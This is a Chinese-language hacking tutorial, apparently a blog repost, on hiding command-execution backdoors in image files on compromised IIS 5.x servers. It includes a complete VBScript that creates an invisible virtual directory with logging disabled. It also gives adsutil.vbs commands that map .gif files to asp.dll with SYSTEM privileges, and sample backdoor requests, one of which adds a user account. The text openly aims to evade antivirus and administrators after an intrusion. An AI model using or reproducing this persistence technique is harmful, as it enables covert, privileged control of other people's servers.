php病毒图片后缀名,脚本图片类后门病毒的完美使用方法
前兩天,看了一篇《腳本注入圖片新方法》的文章,相信很多人都通過這篇文章了解了如何在圖片中加入腳本,以及如何在正常的asp(或php)文件中通過include函數使圖片中的腳本產生效用。
但是,這種方法的問題又隨之而來了:有人問道:通常腳本網頁文件中如果想要插入一個圖片,簡簡單單的一個html標簽就解決了,如果我們用include代替的話,是否太過明顯?雖然這種語句放在大型頁面中手工查找有點麻煩,但如果是殺毒軟件用特征碼查找,看到include的是以.gif.jpg等擴展名結尾的語句,相信肯定會報警。
而我們若不用類似于include之類的函數的話,圖片中的asp(或php)語句又怎會執行呢?難道要打電話叫網管幫忙嗎?嘿嘿…… 所以問題就集中在用什么方法可以替代include函數的作用上了,因為注入圖片的腳本可以變,所以可以不怕殺,怕就怕那句該死的include。
有什么方法呢?我曾經想過我們在入侵成功后可以在iis中添加應用程序映射,把.gif等圖片的擴展名用asp.dll(或php.exe)解析,并把這虛擬目錄的應用程序保護改為低,這樣我們的后門就會有system權限了。當我們注入圖片的腳本的作用是執行cmd命令的,我們就可以通過本地表單post我們要執行的命令給圖片,當然也可以是get: 代碼 /uploadfiles/newsphoto/xx.coma1.gif?cmd=dir 這種方法當然是好,可以突破include執行腳本了。但仍有不足,而且是明顯的:這種方式雖然殺毒軟件是查不出了,但是仍可明顯看出:管理員只要查看一下應用程序映射,那么我們所有的工作都白費了。
想到這里,我突然想到了iis的那個著名漏洞(涉及iis5.0及iis5.1),我們可以在任意一個站點下建立一個不可見的虛擬目錄(指的是intenet服務管理器中不可見,但利用adsutil.vbs依然可見),而且由于iis的特性,虛擬目錄的應用程序映射及應用程序保護是與iis的默認站點分開設置的。由于虛擬目錄不可見,他所有的屬性當然也就不可見了。
所以我們可以安全的設置此目錄的屬性,而不用怕管理員發現。 當我們把這個虛擬目錄指向服務器上另一個裝滿圖片的物理目錄(至于那找這種目錄?我找到個好地方:windowz默認的墻紙目錄,我的xp上是%systemroot%\web\wallpaper\目錄)時……呵呵,大家想到什么了沒?一旦我們修改其中兩個圖片,注入我們的腳本后門,然后把此目錄的圖片映射到asp.dll(或php.exe)上,應用程序保護改為低,就可以通過我上面講的方法進行訪問執行命令了。
而且是system權限哦!呵呵,是不是很爽?管理員怎么也不會想到自己的圖片卻會是致命的后門!(其實這種方法動鯊曾在x檔案上發文章說過,但他的方法有一個缺陷:在非web目錄中有asp(或php)文件,一旦發現,的確讓人懷疑。而我們利用的是圖片,相信管理員看到圖片不會情緒過激的非要撕開了看個明白才罷休吧?呵呵……) 那么如何建立這個虛擬目錄呢?我們可以在圖形界面也可以利用自編腳本或是直接用iis自帶的adsutil.vbs操作。
在此之前我先簡單說明一下這個iis漏洞的原因:我們知道iis的配置文件是metabase.bin。這個文件位于%systemroot%\system32\inetsrv\metabase.bin,包含了幾乎所有iis的配置信息,是非常重要的系統文件。簡單的說,我們在“intenet服務管理器”中所作的一切設置最終都會被保存在metabase.bin中。在日常的系統管理中除了通過“intenet服務管理器”來對metabase.bin進行操作外,windows還提供了一個腳本adsutil.vbs可以對metabase.bin進行操作。
(AdWords)metabase的結構類似于注冊表,也是樹形結構,有類似鍵、值、項的概念。事實上在iis3和pws中,metabase的內容就是存儲在注冊表中的。metabase有兩個主鍵:lm和schema。其中,schema保存了系統默認的一些配置,通常不需要修改,一旦改錯也非常危險,所以無論是“intenet服務管理器”還是adsutil.vbs都沒有提供修改schema的機制。lm中包含了iis的http服務,ftp服務,smtp服務等的配置信息。其中,lm/w3svc/下是我們要用到的http服務的配置信息。
其中有一個值:scriptmaps,代表腳本映射。當我們在某個虛擬目錄下設定scriptmaps值后,則向該目錄請求的特定擴展名的文件都會交給指定的isapi執行。需要強調的是,設定scriptmaps的目錄并不一定要真實存在的,只要在metabase中某個http實例的root鍵下建了一個子鍵,對該字鍵同名的虛擬目錄的http請求iis會認為是合法的,并會交由映射的isapi處理。
這樣說可能誰都暈了(包括我),其實簡單的作個類比:metabase的就夠類似于注冊表,我們知道,我們在安裝有些程序的時候,安裝程序會在注冊表中建立一些必要的值,可我們一旦非正規把它安裝的文件刪除了時(比如有些朋友刪游戲時就是直接往回收站一拉了事),注冊表中的那些項就會被留下,沒有用處,而造成注冊表垃圾。metabase中也是那么回事,我們正常建立一個虛擬目錄時,metabase中就會建立一些項。而當我們通過非正常手段刪除了此虛擬目錄時,那些項就會留下,與注冊表不同的是,那些項還會起作用,只要我們用http請求了那個虛擬目錄,iis就會依舊按照metabase中的原來的虛擬目錄設置順利返回。
所以即使目錄不存在,只要他曾經存在過,那么就成立。呵呵,聽懂了沒?(ps:還沒懂)暈,那就只好請您看動鯊的那篇文章了,他說得可比我清楚。 至于如何添加不可見的虛擬目錄,動鯊的那篇文章說得很清楚了,我這里就不廢話了,下面提供動鯊的添加不可見虛擬目錄的腳本,保存為iis.vbs: 代碼 help1=iis后門設置器 for win2000 by 動鯊 5月30號2004 年 help2=請輸入正確的虛擬目錄名稱和映射的路徑,格式如下 help3= cscript.exe iis.vbs 虛擬目錄的名稱 映射的路徑 help4=例如: cscript.exe iis.vbs backdoor c:\ set args = wscript.arguments if args.count < 2 then wscript.echo help1 wscript.echo wscript.echo help2 wscript.echo wscript.echo help3 wscript.echo wscript.echo help4 wscript.quit end if strvrname=args(0) 虛擬目錄名稱 strrootpath=args(1) 虛擬目錄路徑 set checkvirtualdir=getobject(iis://localhost/w3svc/1/root) for each vr in checkvirtualdir if vr.name=lhxy then foundt =yes else foundt= no end if next if foundt =yes then wscript.echo 發現已經創建了lhxy目錄,正在設置自定義的虛擬目錄 creatvdir else wscript.echo 正在創建lhxy目錄,以及自定義文件夾,請等待!
creatlhxy creatvdir end if wscript.echo 你創建的虛擬目錄名稱是& strvrname &,映射的文件夾是 & strrootpath &。 wscript.echo 請訪問http://ip/lhxy/& strvrname &/ 來連接后門! wscript.echo 恭喜!后門設置全部完成! sub creatlhxy() set objdir=getobject(iis://localhost/w3svc/1/root) set mydir=objdir.create(iiswebvirtualdir,lhxy) mydir.accessread=true mydir.defaultdoc=mydir.defaultdoc mydir.appisolated=0 mydir.accessexecute=true mydir.dontlog=true mydir.accesssource=true mydir.enabledirbrowsing=true mydir.setinfo end sub sub creatvdir() set objvirtualdir=getobject(iis://localhost/w3svc/1/root/lhxy) set virdir=objvirtualdir.create(iiswebvirtualdir,strvrname) virdir.accessread=true virdir.path=strrootpath virdir.defaultdoc= virdr.accessexecute=true virdir.accesswrite=true virdir.accesssource=true virdir.appisolated=0 virdir.dontlog=true virdir.enabledirbrowsing=true virdir.appcreate 0 viddir.createprocessasuser=0 virdir.setinfo end sub wscript.quit 我記得bugkidz好像也曾經貼出過類似的腳本。呵呵,沒仔細看,大家不要打我,自己找吧,或是找boy要,呵呵。
下面是通過adsutil.vbs把asp.dll添加到inprocessisapiapps數組中的命令,使得所有asp腳本都會以system權限執行。 代碼 cscript adsutil.vbs set /w3svc/inprocessisapiapps c:\winnt\system32\idq.dll c:\winnt\system32\inetsrv\httpext.dll c:\winnt\system32\inetsrv\httpodbc.dll c:\winnt\system32\inetsrv\ssinc.dll c:\winnt\system32\msw3prt.dll c:\winnt\system32\inetsrv\asp.dll 不過需要注意,adsutil.vbs只能設,不能改,所以用adsutil.vbs的時候一定要把原先的也加上,否則原先的就會丟失。不同條目之間用空格分開。 然后把你的虛擬目錄加上應用程序映射: 代碼 cscript adsutil.vbs set w3svc/1/root/lhxy/wofeiwo/scriptmaps gif,c:\winnt\system32\inetsrv\asp.dll,1 我這里的虛擬目錄是lhxy/wofeiwo,圖片擴展名是.gif大家可以根據自己實際情況更改。 好了,我們看看效果吧: 代碼 /uploadfiles/newsphoto/ofeiwoa1.gif?cmd=net user wofeiwo w1o2f3e4i5w6o /add
總結
以上是生活随笔為你收集整理的php病毒图片后缀名,脚本图片类后门病毒的完美使用方法的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 微软承认Win7到Win11存在“离奇”
- 下一篇: 白户怎么办信用卡成功率最高